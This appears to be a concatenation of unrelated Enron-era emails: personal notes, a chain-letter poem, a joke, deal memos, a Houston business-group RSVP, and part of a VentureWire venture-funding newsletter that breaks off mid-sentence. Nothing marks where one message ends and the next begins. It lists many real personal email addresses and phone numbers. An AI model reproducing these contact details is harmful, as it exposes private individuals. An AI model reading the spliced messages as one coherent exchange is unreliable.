> |               |                                    |
> |               |                                    |
> |               |                                    |
> |               |                                    |
> | Response      | NA                                 |
> |               |                                    |
> |               |                                    |
> |               |                                    |
> |               |                                    |
> |               |                                    |
> | Relocation    | N                                  |
> |               |                                    |
> |               |                                    |
> |               |                                    |
> |               |                                    |
> |               |                                    |
> | Posting date  | 07-JUN-01                          |
> |               |                                    |
>
>
>
>
>
>

Steve,

Hey, what's up my friend?  I hear that business is well in Puerto Rico 
(although that was quite awhile ago so who knows).  I'm assuming that you 
are, indeed, still there.  I can't believe that I've just finished my fifth 
month with Enron.  It's been great, though.  Everything is new so I'm 
learning a ton.  Working on a trading floor is quite a different environment 
than Pirnie.  My desk is so small it reminds of Puerto Rico, although there 
are no bomb threats, the bell does not sound at lunch,  and the number of 
holidays does not exceed the number of work days in the year.  I've recently 
been accepted into a subprogram of the program I'm in to become a trader, so 
my next year is pretty much planned and eventually I'll start trading.

Anyway... I was just thinking the other day that I miss my trips to the 
island (especially my accomodations at the Excelsior), and I can't help 
feeling a little shorted that I didn't get a follow-up event of the Reggae 
tour or diving trip.  So I was wondering if maybe I should come down some 
weekend and make it right., you know put all of the planets back in 
alignment.  So I was wondering if you might be able to put me up for a 
weekend and maybe do some diving or something.  If not, then no big deal, 
there's about zillion places I'd like to visit in the next few months.  Just 
drop me a note sometime and let me know what you think.

Please say hello to Pat, Joanne and Juan Carlos for me.  By the way, it was 
bittersweet to hear Barry left soon after I did.  Had he done so sooner, I 
would have taken his spot!  Anyway, wish everyone well and I'm curious to 
hear what's happening on the island these days.  

Take care,

Mat

this is what we expect from you on the trip - you are going to need to come up with a costume!

Kim
From: 	"Sally McElroy" <smcelroy@howellcorp.com>@ENRON [mailto:IMCEANOTES-+22Sally+20McElroy+22+20+3Csmcelroy+40howellcorp+2Ecom+3E+40ENRON@ENRON.com] 
Sent:	Monday, May 14, 2001 10:23 AM
To:	Olinger, Kimberly S.
Subject:	 

Sally J. McElroy
Senior Landman
Howell Petroleum Corporation
1111 Fannin, Suite 1500
Ph:  (713) 658-4122
Fax: (713) 658-4114

 - Palmer Girls 1.jpg 

We have received an executed First Amendment to Master Agreement, effective 
February 9, 2001, between ENA and Cargill, Incorporated.  This First 
Amendment increases the collateral threshold for both parties and amends the 
letter of credit provisions.

Copies will be distributed.

Stephanie Panus

---------------------- Forwarded by Judy Hernandez/HOU/ECT on 01/13/2000 
04:35 PM ---------------------------
   
	From:  Maria Sandoval                           01/13/2000 03:34 PM
	
To: Andrea R Guillen/HOU/ECT@ECT, Phenicia Olivier/HOU/ECT@ECT, Bernice 
Rodriguez/HOU/ECT@ECT, Melissa Rodriguez/HOU/ECT@ECT, Cassandra S 
apena26@hotmail.com, Pamela Sonnier/HOU/ECT@ECT
cc:  
Subject: FW: Little Lamb

---------------------- Forwarded by Maria Sandoval/HOU/ECT on 01/13/2000 
03:34 PM ---------------------------

01/13/2000 02:56 PM
To: Cecilia Olvera/HOU/ECT@ECT, Elizabeth Soto/HOU/ECT@ECT, Maria 
Sandoval/HOU/ECT@ECT, Irena D Hogan/HOU/ECT@ECT, Alisha Guerrero/HOU/ECT@ECT, 
Andrea R Guillen/HOU/ECT@ECT, Heather Choate/HOU/ECT, Alex 
Saldana/HOU/ECT@ECT, Raquel M Guerrero/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, 
cassandra.hernandez@halliburton.com, Kim Perez/FGT/Enron@ENRON, Kimberly 
Vaughn/HOU/ECT@ECT, Aimee Lannou/HOU/ECT@ECT
cc:  

01/13/2000 02:54 PM ---------------------------

Cassandra Hernandez <Cassandra.Hernandez@HALLIBURTON.com> on 01/13/2000 
01:53:36 PM
To: Chantelle Villanueva/HOU/ECT@ECT, Steven Torrez 
<Steven.Torrez@HALLIBURTON.com>
cc:  

> From: Mary De Los Santos [SMTP:DelossantosMD@c-b.com]
> Sent: Thursday, January 13, 2000 1:30 PM
> To: JJJ932@aol.com; kperez@enron.com; yolanda.m.ramirez@exxon.com;
> cassandra.hernandez@halliburton.com; Lety.DeLosSantos@wci-ltd.com;
> jenniestinebaugh@yahoo.com; mistygonzales@yahoo.com
> Subject: Little Lamb
>
> > Subject: FW: A good idea!!
> >
> >
> >
> > > > >>> Think about what you will be reading, I think it
> > > > >may be the answer:
> > > > >>>
> > > > >>> Mary had a little lamb,
> > > > >>> His fleece was white as snow.
> > > > >>> And everywhere that Mary went,
> > > > >>> The Lamb was sure to go.
> > > > >>> He followed her to school each day,
> > > > >>> T'wasn't even in the rule.
> > > > >>> It made the children laugh and play,
> > > > >>> To have a Lamb at school.
> > > > >>> And then the rules all changed one day,
> > > > >>> llegal it became;
> > > > >>> To bring the Lamb of God to school,
> > > > >>> Or even speak His Name.
> > > > >>> Every day got worse and worse,
> > > > >>> And days turned into years.
> > > > >>> Instead of hearing children laugh,
> > > > >>> We heard gun shots and tears.
> > > > >>> What must we do to stop the crime,
> > > > >>> That's in our schools today?
> > > > >>> Let's let the Lamb come back to school,
> > > > >>> And teach our kids to pray!
> > > > >>>
> > > > >>>  If you agree, please pass it on.
> 

From: 	"Glover, Rusty" <rglover@halff.com>@ENRON  
Sent:	Tuesday, October 30, 2001 1:37 PM
To:	ANDREA & MICHAEL (E-mail); BRAD BARNHARDT (E-mail); BRAD DAVIS (E-mail); CAMILLE (E-mail); CHERYL (E-mail); Farmer, Daren J.; FENNY (E-mail); JENNIFER (E-mail); JOE (E-mail); JON CROSS (E-mail); KAK (E-mail); KRISTIN ROAN (E-mail); KYLE (E-mail); LARRY HANS (E-mail); LYNN BENNIE (E-mail); RIDDLE (E-mail); ROCHELLE (E-mail); SHELLEY (E-mail); TOM ODWYER (E-mail)
Subject:	FW: AP Wire College Station, Texas

From: Beard, Jaime 
Sent:  Tuesday, October 30, 2001 1:16 PM
To: Glover, Rusty
Subject:  FW: AP Wire College Station, Texas
 
From: Teague, John 
Sent:  Tuesday, October 30, 2001 1:13 PM
To: Bennett, Alex; Newsom, Boon;  Herrera, Ignacio; Pierce, Brian; Warfield, Dan; Beard, Jaime; Thomas, Ron  (R.T.); Vernon, Billy; RYAN LEWIS (E-mail); Ross Melton (E-mail); Grandpa  (E-mail); Jeff Woodall (E-mail); Fuzzy (E-mail); Fluffy  (E-mail)
Subject: FW: AP Wire College Station,  Texas
 
AP-College Station Texas----
Texas A&M football practice was delayed on Monday for nearly two  hours at Kyle Field. One of the players, while on his way to the locker room  happened to look down and notice a suspicious looking, unknown white powdery  substance on the practice field. 
Head coach R.C. Slocum immediately suspended practice while the FBI was  called in to investigate. After a complete field analysis, the FBI determined  that the white substance unknown to the players was the goal line.  
Practice was resumed when FBI Special Agents decided that the team would not  be likely to encounter the substance again.

Rick,

Aside from what you already know on the Enron de Mexico ENA regulatory and 
commercial front (in documents that I gave you), I am also supporting 
HydroMod and EBS in their efforts to materialize business oportunities in 
Mexico.

Attached you will find activity reports on these matters.

Enron de Mexico has also taken an active  role in the Bufete Industrial deal 
with EE&CC although I do not have anything to do with that.  Nevertheless, I 
should say that the One Enron approach is at work in the Mexico City office.

Apparently very soon EBS is going to sublet some space in our MX City office 
and get someone on the ground permanently.  They have been talking about the 
possibility of getting some regulatory support here from me.  Is this 
convenient for our organization?  How should we go about it?

Best,

Ricardo

i think taking a cab is more convenient assuming we can find one on the way 
back.

From: Margaret Allen@ENRON on 02/08/2001 01:27 PM
cc:  

Kim and I are going from here.  We were debating sharing a cab, or taking the 
bus from Enron Field. Any preference?

	John Arnold@ECT
	02/08/2001 10:25 AM
		
		 To: Margaret Allen/Corp/Enron@ENRON
		 cc: 
		 Subject: Re:

cute girlfriends....    I'm in

From: Margaret Allen@ENRON on 02/08/2001 09:38 AM
cc:  
Subject: Re:   

Oh, I was going to tell you that your invitation gives you the ability to 
invite a guest so if you wanted to bring Jennifer, you can.  But, I do have 
cute girlfriends going with me, so if you just want to go with us -- that 
will be fun!  I'm planning on leaving here around 6 -- you want to go with 
me??

	02/08/2001 09:29 AM
		 
		 cc: 
		 Subject: 

cute girlfriends....   I'm in

so are we tailgating or what ???

From: 	"Mark Molnar" <MarkM@cajunusa.com>@ENRON  
Sent:	Friday, October 12, 2001 10:08 AM
To:	Frthis@aol.com; Wolphguy@aol.com; Quigley, Dutch; ras1119@hotmail.com; siva66@mail.ev1.net; John_Riches@msn.com; siva66@msn.com; jramirez@othon.com; homb1@pdq.net; klyn@pdq.net
Subject:	Re: Michaela update

I second that!!!!  Maybe it's Richard that needs to take a ride on the Mayflower.  Maybe Kim wasn't that bad after all.  Maybe it was Richard that we should have been blaming.  No, we just suck!!!!

Mark Molnar
Cajun Constructors, Inc.

>>> "Kevin" <klyn@pdq.net> 10/12/01 09:36AM >>>
I can't wait to see Carrie at the game on Saturday.  I am tired of your bad
karma.

Kevin

From: "Richard Smith" <ras1119@hotmail.com>
To: <Dutch.Quigley@enron.com>; <Frthis@aol.com>; <homb1@pdq.net>;
<John_Riches@msn.com>; <jramirez@othon.com>; <klyn@pdq.net>;
<markm@cajunusa.com>; <siva66@msn.com>; <siva66@mail.ev1.net>;
<Wolphguy@aol.com>
Sent: Friday, October 12, 2001 8:01 AM
Subject: Michaela update

> As 1st time parents Carrie and I overreact a little which fortunately
means
> Michaela is doing fine.  She does have a very bad stomach infection and
both
> ears have a bad ear infection.  She went through this about 3 weeks ago
and
> now it came back stronger b/c it didnt fully go away the first time.  So
the
> doctor gave her a really strong antibiotic shot and she has other drugs
too.
> (drugs sound good to me right about now) Anyway, she will be on them for
> about 10 days and hopefully will be fine then.  She is already acting
> somewhat normal so that is good.  Thanks to those who responded and one of
> us will be at the game on Sat.  Take care and see you soon.
>
> Richard
>
> _________________________________________________________________
> Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp
>

Steph,
Great to hear from you. I got a call from Scotty this weekend but have not had a chance to give him a call back yet. Enron selling PGE has had no real effect on me. It should be good for our stock price though. One can hope anyway.
Glad to hear you guys are doing well. Let me know when you guys are coming down...you can definitely stay at my place--its not big but I will have a futon for a bit longer. You may prefer the Paramount hotel--its right next door.
And my liver will likely always be in shape.

Take care.

B

From: Stephanie McCann [mailto:sjoymccann@hotmail.com]
Sent: Tuesday, October 09, 2001 8:48 AM
To: Williams III, Bill
Subject: Hey stranger!

Bill,
How is the swinging Portland ladies man?  Thought I would see how you are 
doing in light of Enron selling Portland General....are you still employeed? 
  I am sure you are since you have made them lots of money!  How is your 
place?  Any new girls?  I must say that I miss hanging out in Portland and 
causing trouble.  I am sure you have carried on the tradition.  Things in 
Seattle are good.  Scott is living on Eastlake and taking some computer 
classes.  Work for me is the same.  We will be coming to visit soon so start 
getting your liver in shape!  Hope you are well.
Stephanie

On Thursday, May 17th, senior executives with Woodside Petroleum Australian 
headquarters will be in Enron's offices to discuss their company and explore 
possible opportunities with Enron.  Woodside is the largest E&P company in 
Australia.   Enron was approached a couple of weeks ago by Woodside's Houston 
representatives regarding acquisition of oil and gas assets currently managed 
by ECR.  They also requested a meeting at a senior level to discuss other 
opportunities as well since their Australian execs were visiting Houston this 
week.  The agenda below was developed with input from Woodside's Houston 
representatives.  Woodside is interested in spending $1B on domestic US 
acquisitions.  They are also a large player in the LNG and natural gas 
markets in Australia. It appears that there are several areas where Enron and 
Woodside could interact.  Enron has attempted to do some LNG business with 
Woodside recently.  They do not seem to be fully aware of Enron's domestic or 
its global presence.  A goal of this meeting is to address this 
unfamiliarity.  I have attached briefing materials on Woodside for your 
review.  Hard copies of these materials are available upon request.  Special 
thanks to David Mims for his input.  If there are any other Enron personnel 
that should meet with Woodside on Thursday, please let me know.  Also please 
circulate this email to anyone that should be advised of this meeting or 
could benefit from the materials.

                            Agenda - May 17th

2:00 - 3:00        Macro Discussion on US Domestic Gas Markets  -      Julie 
Gomez
3:00 - 3:30        Enron's Market Presence and Global Areas of Focus -  Greg 
Whalley
3:30 - 4:00 LNG Discussion 
-                                                      Les Webber, Kurt 
Lindahl
4:00 - 4:15        Trading Floor Tour
4:15 - 5:00        ECR Asset Discussion 
-                                             Josey,ECR et al

The location for the meetings will be in conference room EB 3335.  Please 
give me a call if I can answer any questions.
Scott Josey

Per the request of Elizabeth Sager, here is the final draft of the above 
referenced letter.  Please call as soon as possible with any further comments.

please see this attachment:  

Ken Lay will be there.  I thank you for your e-mail or he wouldn't have been 
there.

Rosie

CEO Extra <CEOextra@houston.org> on 07/10/2000 09:30:16 AM
To: "'mabramso@kentelec.com'" <mabramso@kentelec.com>, 
"'jbaker@bakercommunications.com'" <jbaker@bakercommunications.com>, 
"'carl.baucum@ey.com'" <carl.baucum@ey.com>, "'ablackshear@fulbright.com'" 
<ablackshear@fulbright.com>, "'burgos_r@hccs.cc.tx.us'" 
<burgos_r@hccs.cc.tx.us>, "'rcarter@esc-hdq.com'" <rcarter@esc-hdq.com>, 
"'james.crump@pwcglobal.com'" <james.crump@pwcglobal.com>, 
"'ann.earnest@concert.com'" <ann.earnest@concert.com>, "'cfarley@askred.com'" 
<cfarley@askred.com>, "'fjfowler@duke-energy.com'" 
<fjfowler@duke-energy.com>, "'egiesing@kpmg.com'" <egiesing@kpmg.com>, 
"'lupef@tejasoffice.com'" <lupef@tejasoffice.com>, "'gondoco@hotmail.com'" 
<gondoco@hotmail.com>, "'jim.hackett@oceanenergy.com'" 
<jim.hackett@oceanenergy.com>, "'unbblodg_unb@bankline.net'" 
<unbblodg_unb@bankline.net>, "'mjhin@sleh.com'" <mjhin@sleh.com>, 
"'jjiles@bear.com'" <jjiles@bear.com>, "'ljones@dttus.com'" 
<ljones@dttus.com>, "'kaselawal@aol.com'" <kaselawal@aol.com>, 
"'klay@enron.com'" <klay@enron.com>, "'leo_jr@linbeck.com'" 
<leo_jr@linbeck.com>, "'dlow@admin4.hsc.uth.tmc.edu'" 
<dlow@admin4.hsc.uth.tmc.edu>, "'vidal@martinez.net'" <vidal@martinez.net>, 
"'jmendelsohn@mdanderson.org'" <jmendelsohn@mdanderson.org>, 
"'beth@wrmoffice.com'" <beth@wrmoffice.com>, 
"'charles_j_o'connell@mail.bankone.com'" 
<charles_j_o'connell@mail.bankone.com>, "'fputman@gardere.com'" 
<fputman@gardere.com>, "'mrichmond@thewoodlands.com'" 
<mrichmond@thewoodlands.com>, "'lavender@cooperindustries.com'" 
<lavender@cooperindustries.com>, "'rrromero@sbinfra.com'" 
<rrromero@sbinfra.com>, "'tsimmons@spencerstuart.com'" 
<tsimmons@spencerstuart.com>, "'slade_pd@tsu.edu'" <slade_pd@tsu.edu>, 
"'rsykes@sykescommunications.com'" <rsykes@sykescommunications.com>, 
"'cherylltd@warrenelectric.com'" <cherylltd@warrenelectric.com>, 
"'hthurlow@chantalcorp.com'" <hthurlow@chantalcorp.com>, 
"'bobby.tudor@gs.com'" <bobby.tudor@gs.com>, "'cjross@vnsm.com'" 
<cjross@vnsm.com>, "'massey@ptg.com'" <massey@ptg.com>, 
"'dwang@metrobank-na.com'" <dwang@metrobank-na.com>, "'rweekley@dwhomes.com'" 
<rweekley@dwhomes.com>, "'billw@wedgegroup.com'" <billw@wedgegroup.com>, 
"'dan_wilford@mhhs.org'" <dan_wilford@mhhs.org>, "'rozamora@aol.com'" 
<rozamora@aol.com>, "'charles@duncaninterests.com'" 
<charles@duncaninterests.com>, "'betty@duncaninterests.com'" 
<betty@duncaninterests.com>, "'rro@onstead.com'" <rro@onstead.com>
cc:  
Subject: RSVP for tomorrow morning's board meeting?

Good morning!
We are finalizing arrangements for tomorrow morning's board meeting and we
need an accurate head count.  If you have already called in your RSVP, we do
not find it and we apologize for any duplication of effort.

Please send me your RSVP via return e-mail.

Thank you,
Wendy Porter Lynn
On behalf of Arlene McCarty
Office of the President/CEO
Greater Houston Partnership
Phone (713) 844-3646
Fax (713) 844-0246
E-mail: CEOextra@houston.org
Please visit our web site at www.houston.org

Dear Scott:

Per your request regarding above-referenced Affiliate Work Offer, attached find the revised version for your review and execution.  I have changed Affiliate Work Offer to reflect ENA's Consulting Services Agreement dated October 30, 1998, and extended to October 30, 2001, pursuant to your email of August 27th.

If you have any further questions or concerns, please call me at (713) 345-6489.

Jane Scelzo
Sr. Contract Administrator
ETS Service Contracts Dept.
Fax: (713) 646-6026

Attached for your review is a memo from Michelle and Kriste regarding the 
above referenced.

memo

Assignment Letter

Greg:

Enclosed is the final draft of the Assignment and Assumption Agreement with
GE's consent attached.

King?& Spalding

 - Final Delta Turbine Sale Turbopark Assignment & Assumption Agmt with GE 
ack.DOC

John:
Here is the '01 Operating Budget.  Please let me know if you have any more 
questions.  Thanks!
Ben

======================================================
        VENTUREWIRE --- Thursday, August 31, 2000
           Private Company Business News
------ Published Daily by Technologic Partners -------
           http://technologicpartners.com

Top Stories:

o Ericsson, Merrill Lynch, Others Form $300 Million Tech Fund
o ECOutlook.com Gets $25 Million in First Institutional Round
o Former US West Execs. Lead Comstellar Expansion to Denver
o Optical Firm nLight Photonics Gets $7.2 Million First Round
o Enterprise Software Merges with Columbine JDS Systems
o Tech Service Provider Rapt Closes $25 Million Series B

>>>>>>>>>>>>>>>>>>>Note to Readers<<<<<<<<<<<<<<<<<<<<<
VentureWire will take a break for Labor Day. No issue will
be published on Monday, September 4.
>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<

|||||||||||||||||||| Advertisement ||||||||||||||||||||

Healthcare Outlook:
Where Medicine Meets the Internet

Will e-health complement traditional healthcare systems
or create new markets?  Which models will survive?

Take the first look at the companies that will redefine the
way healthcare is delivered.  New technologies, new ideas
and future market leaders.

For more information and registration,
Visit: http://tpsite.com/tp/conf/ho2000/default.html

|||||||||||||||||||||||||||||||||||||||||||||||||||||||

Also in This Issue:

     New Money:
o Commercial Loan Exchange Medici Raises $10 Million Round One
o ASP Cataligent Raises $3 Million in First Round Funding
o Net Services Firm Anota Raises $4 Million in First Round
o Software Developer Computrol Raises $1.5 Million Round One
o Surplus Site BargainBuilder Gets $2.4 Million in First Round
o GPU Invests In, Forms Partnership with Silicon Energy
o BurningTree Technologies Raises $1 Million in Funding
o FuelSpot.com Gets $7.8 Million from Internet Capital Group
o Logistics Firm Sensitech Closes Round with $16.5 Million
o Net Ad Firm AdFlight Raises $20 Million in Second Round
o Video Converter Teranex Secures $30 Million in Round Three
o Chip Firm Micro Photonix Closes $30 Million Third Round
o Online Marketing Firm Aprimo Closes $20 Million Third Round
o SpiderCache Receives $1.4 million From Itemus
o Jump.Net Ventures Invests in Community Systems
o Swedish VC Ledstiernan Invests $800,000 for 44% of CCNox

     New Products:
o CommerceFlow Launches First Product , AuctionFlow
o Venture Consulting Group Changes Name to Venture X Group

     New Deals:
o Zilo Networks Acquires Stake in Collegehumor.com
o Visible Markets Announces Strategic Alliance With eSpeed

     M&A:
o Informatica to Acquire Mobile App Firm Zimba for $25 Million
o EZsize Acquires Size and Fit Technology Company SizeMe.com
o HeadHunter.Net Buys MiracleWorkers.com For $8.4 Million

     New Directors:
o iSoChip Networks Appoints Medoptix CEO To Board
o PatchLink.com Elects New Member to Board of Directors

     New People:
o CRM Firm Parago Promotes President to CEO Post
o BioCata, Funding Marketplace for Biotech Industry, Hires CEO
o E-Commerce Catalog Firm PartsRiver Promotes VP to President

     VW Corrections:
o eBook-Keeper.com

Making the right connections.

It would take weeks to appointment your way up to
most of the executives and investors who will be
at Internet Outlook next month--hundreds of them--
but over a coffee break it only takes a moment to
exchange business cards. Come work the hallways.

Internet Outlook, from the publishers of VentureWire
http://www.tpsite.com/tp/conf/io2000/default.html

======= Top Stories =======

STOCKHOLM -- Mobile phone developer Ericsson said
it has joined with Merrill Lynch and Swedish investment
firms Industrivarden and Investor AB to form Ericsson
Venture Partners, a $300 million venture capital
fund. The fund will invest in mobile Internet companies
and technologies and focus on  Europe and North
America. Each of the four partner institutions will
invest $75 million in the fund, which the company
expects to be in operation by September or October.
Ericsson Venture Partners will be run from Stockholm
and New York and will specialize in investment in
mobile Internet technology, including network infrastructure,
services, and applications.
http://www.industrivarden.se/
http://www.ericsson.com/
http://www.ml.com/
http://www.investorab.com/
_____________________________________________

HOUSTON -- ECOutlook.com, an e-commerce services
company that provides a link between organizations
for automated business information exchange, said
it closed its first round of funding from institutional
investors at $25 million. In three previous rounds
of funding in the past year, ECOutlook.com raised
$11 million from individual investors, bringing
its total amount of financing to $35 million.The
latest round was led by Venrock Associates and included
ING Barings Latin America, New York-based iHatch
Ventures, Latin Rim of Madrid, SLI Investments of
Argentina, and Enron Net Works Ventures. The company
said it will use the funds to expand to European,
Latin American, and Pacific Rim markets, hire additional
employees, and invest in its technology.
http://www.ecoutlook.com/

LOS ALTOS, Calif. -- Comstellar Technologies, which
develops communications companies and is backed
by more than $140 million, and its affiliated venture
capital fund Redwood Ventures said they opened a
new office in Denver for expanded investement operations.
The company named Ophyll D'Costa as its managing
director of Denver operations. Mr. D'Costa was most
recently senior vice president for business development
at US West/Qwest International. He also founded
US West Venture Partners. Three other former executives
from US West also joined the office to work for
Mr. D'Costa. The Denver office will focus on investments
in communications, multimedia, wireless infrastructure,
and platform companies. Redwood Ventures portfolio
companies include JEDI Technologies and Sigma Systems
Group. Comstellar is backed by Accel Partners and
New Enterprise Associates as well as Clarity Partners,
First Analysis Venture Capital, Goldman Sachs, J.P.
Morgan, Lehman Brothers, Mayfield Fund, Oak Investment
Partners, and Soros Private Equity Partners.
http://www.comstellar.com/

SEATTLE -- Mohr, Davidow Ventures said it led the
$7.2 million first round of nLight Photonics, a
provider of optical fiber infrastructure products
and services. Mohr Davidow is the only insititutional
investor in the round, which also included individuals.
Mohr Davidow Ventures general partners Rob Chaplinsky
and Bill Ericson will sit on the company's board
of directors. The company will use the funding for
research and development and operations. nLight
Photonics develops products that extend the reach
and performance of optical networks.
http://www.nlightphotonics.com/

COLORADO SPRINGS, Colo. -- Enterprise Software,
a developer of software systems for the broadcast
industry, and Columbine JDS Systems, which provides
technology for buying and selling advertising in
electronic media, said they have combined their
businesses in a stock-for-stock merger. The companies
would not disclose financial details of the deal.
Barry Goldsmith, the former CEO of Drake Automation,
which Columbine JDS recently acquired, will become
the chief executive officer of the combined entity.
Enterprise is controlled by LiveWire Media, whose
investors include Thomas H. Lee Partners, Blackstone
Capital Partners III, Alpine Equity Partners, Nassau
Capital Partners, and Waller-Sutton Media Partners.
Columbine JDS Systems, which was founded in 1964,
is backed by Thomas H. Lee Partners, Chancery Lane
Capital, and Evercore Capital Partners.
http://www.cjds.com/
http://www.ensw.com/

SAN FRANCISCO -- Rapt, a provider of technology
and services targeting companies that buy and sell
high volume of goods in fast-moving markets, said
it closed a $25 million Series B round of funding.
Summit Accelerator Fund led the round, which included
funding from existing investors Accel Partners and
Chase H&Q.  Octane Capital, Sun Microsystems, and
other individual investors also participated in
this round. The company said the funds will be used
to fuel sales, strategic partnership development,
product engineering, and marketing. As part of the
funding, Kip Sheeline, general partner of Summit
Accelerator Fund, will join Rapt's board, raising
membership to five.
http://www.rapt.com/

======= New Money =======

NEW YORK -- Medici, a commercial loan exchange for
community banks, said it raised $10 million in its
first round of funding. Internet Finance Partners
led this round, which included funding from Thomson
Financial and Medici management. Previous investors
were individuals. Boston-based Medici said the funds
will be used to establish a commercial loan participation/
syndication exchange system. Telephone 617-535-3000.

PALO ALTO, Calif. -- Cataligent, which provides
Web-enabled hosted business services, said it raised
$3 million in its first round of funding from Tiger
Capital, Sun Microsystems co-founder Andy Bechtolsheim's
investment group. The round also included Arthur
D. Little, a management company. Cataligent said
it will use the funds to develop its product. The
company said it hopes to seek second round funding
at the end of the year.
http://www.cataligent.com/

YOQNEAM, Israel -- Anota, which provides services
and products that enable legacy systems, such as
mini-computers and mainframes, to connect to the
Internet, said it has secured $4 million in its
first round of funding. The round was led Koor Corporate
Venture Capital Fund, and included Israeli eXseed,
a previous investor, and individual investors. Anota
said it will use the funds to expand its international
marketing and enhance product offerings.
http://www.anota.com/

ST. LOUIS -- Computrol, a software development and
services company founded in 1975, said it raised
$1.5 million in its first round of funding from
Open Prairie Ventures. The company said the funds
will be used to add marketing and support staff
for the initial deployment of its eBASE software.
Computrol said it is in the process of raising another
round of funding. Prior investments were provided
internally. Telephone 217-351-7000.

RESEARCH TRIANGLE PARK, N.C. -- BargainBuilder.com,
an online exchange for excess building materials,
said it raised $2.4 million in its first funding
round. The financing was provided by individual
investors in the U.S. The company would not disclose
further details of the deal. BargainBuilder.com
sells distressed and idle inventories, including
overstocks, buy-backs, packaging changes, and discontinued
items.
http://www.bargainbuilder.com/

MORRISTOWN, NJ. -- GPU, a utility company, said
it has made an equity investment in Silicon Energy,
which develops energy management software. The two
companies have also entered into an agreement that
will make Alameda, Calif.-based Silicon Energy's
Internet-based load management and distributed generation
dispatching control software systems available to
residential, commercial and industrial customers
of GPU Energy, the unit of GPU that operates its
domestic electricity distribution business, and
to GPU Energy itself. GPU joins other investors
in Silicon Energy's latest $25 million round of
funding. Backers include Integral Capital Partners,
GE Capital, United Technologies, Carrier, Otis Elevator,
Hamilton Sundstrand, Sikorsky, International Fuel
Cell, Morgan Stanley Dean Witter, Energy Ventures
Group, RealEnergy, Peregrine Systems, Nth Power,
and Red Rock Ventures.
http://www.gpu.com/
http://www.siliconenergy.com/

HERNDON, Va. -- BurningTree Technologies, an network
infrastructure architecture firm that provides network
consulting services to telecom firms, said it raised
$1 million in early stage funding. Participants
in the round were not named. The funding will be
used to expand its Mid-Atlantic operations. The
company said it is seeking to raise up to $7M in
a Series A equity financing transaction.
http://www.burningtreetech.com/

WAYNE, Pa. -- Internet Capital Group (ICG), a business-to-business
e-commerce company, said it has acquired an interest
in FuelSpot.com, a developer of an independent trade,
exchange, and e-commerce portal for the crude and
refined petroleum industry, for $7.8 million with
the expectation of doubling the amount in the future.
As an ICG partner, FuelSpot will gain access to
strategic expertise and operational support across
ICG's collaborative network of business-to-business
e-commerce partner companies.
http://www.fuelspot.com/

BEVERLY, Mass. -- Sensitech, a logistics-based information
technology company that provides technology to manage
perishable products traveling throughout global
supply chains, said it has closed $16.5 million
in a round of financing. The funding will be used
for marketing and acquisitions, including the acquisition
of Ryan Instruments, a provider of in-transit monitoring
systems. The round was led by Citizens Capital,
with participation from GE Equity, Landmark Co-Investment
Partners, Penske Company, Ascent Venture Partners,
Massachusetts Technology Development, Prism Venture
Partners, and Tredegar Investments. The purchase
price of the Ryan acquisition was not disclosed.
http://www.sensitech.com/

BELMONT, Calif. -- AdFlight, an online advertising
services company, said it has secured $20 million
in its second round of funding led by WorldView
Technology Partners. Previous investors Sierra Ventures
and Sienna Holdings also participated in the round.
Ajit Shah, a partner at WorldView, will join AdFlight's
board of directors as a result of this round. The
company said the funds will be used for expansion
into Europe and Asia and technology development.
AdFlight has also received funding from Cooley Godward,
Synergy Ventures, and other individual investors.
http://www.adflight.com/

ORLANDO, Fla. -- Teranex, which provides film and
video conversion, compression and encoding tools
and services, said it has secured an additional
$30 million in third-round venture capital from
BancBoston Investments, Audax Ventures, Crest Communications
Holdings, and Time Warner. Other small-scale venture
capital firms who wished to remain anonymous also
participated. The funds will be used to fund the
launch of the company's new broadband Internet video
systems.
http://www.teranex.com/

PHOENIX -- Micro Photonix Integration, a designer,
manufacturer, and marketer of integrated optical
chip devices for fiber optic telecommunications
applications, said it has closed a $30 million third
round of financing. The round was led by J.P. Morgan
Securities, and included six  public crossover investors
and previous investors Valley Ventures II.
http://www.mpi-ioc.com/

INDIANAPOLIS -- Aprimo, a provider of Internet-based
marketing management tools, said it closed its third
round of funding at $20 million with investments
from First Analysis Venture Capital, Sigma Partners,
and Frazier Technology Ventures. Aprimo, which has
raised $34 million to date, said it will use the
funds to expand its sales force and professional
services groups and to support product development
and international expansion. Mark Koulogeorge of
First Analysis and Robert Davoli of Sigma Partners
will join the company's board of directors as part
of the agreement.
http://www.aprimo.com/

TORONTO -- SpiderCache, which develops technology
that speeds up the delivery of Internet content,
said it received a $1.4 million investment from
itemus, an Internet operating company. The funding
will be used for marketing and business development.
http://www.spidercache.com/

AUSTIN, Texas -- Web hosting and broadband provider
Jump.Net said its investment arm, Jump.Net Ventures,
purchased a minority stake in Community Systems,
an application services provider for small businesses
and organizations. Specific terms of the investment
were not disclosed.  Jump.Net will provide hosting
and site traffic services in exchange for the equity
stake.
http://www.communitysystems.com/

STOCKHOLM, Sweden -- Swedish venture capital firm
Ledstiernan said it invested $800,000 for a 44%
stake in CCNox, an IT security consulting firm.
The company's founders hold the remaining 56%. CCNox
specializes in fixed and mobile Internet security.
Ledsteirnan also said it made an agreement with
Madrid-based incubator Pinta2. Details of the agreement
were not disclosed. Pinta2 focuses on mobile telecommunication
in the Spanish-speaking market.
http://www.ledstiernan.se/

======= New Products =======

SAN FRANCISCO -- CommerceFlow, a provider of online
channel management services that enable businesses
to use dynamically priced marketplaces, announced
the launch of its first service, AuctionFlow. AuctionFlow
provides auction management services designed for
businesses that buy and sell on high-volume marketplaces
such as eBay, Amazon, and Yahoo!. The product guides
businesses through the auction process, automating
sales and purchasing through online auction channels.
CommerceFlow recently raised $2.5 million in its
Series A round of funding from Internet Capital
Partners and individual investors.
http://www.commerceflow.com/

ATLANTA -- Venture Consulting Group, which provides
management consulting services in exchange for equity
to high-growth technology companies, said it is
changing its name to Venture X Group. The firm in
the process of raising funds for expansion.  Backers
include 2M Ventures, Alliance Technology Ventures,
Warburg Pincus, and ITC Holdings.
http://www.venturexgroup.com/

======= New Deals =======

NEW YORK -- ZILO Networks, an online and television
network, said it acquired a significant equity interest
in and established a strategic and financial partnership
with Collegehumor.com, a viral e-mail site aggregating
college student-contributed material. The deal links
the humor site's menu of user-generated comic movies,
e-mail attachments, pictures, audio clips, and essays
into Zilo's stream of live, online, and broadcast
programming targeted at the college market. Collegehumor.com
will still be available at its present Web address,
but will also be integrated into Zilo in the form
of links and special features. Zilo recently raised
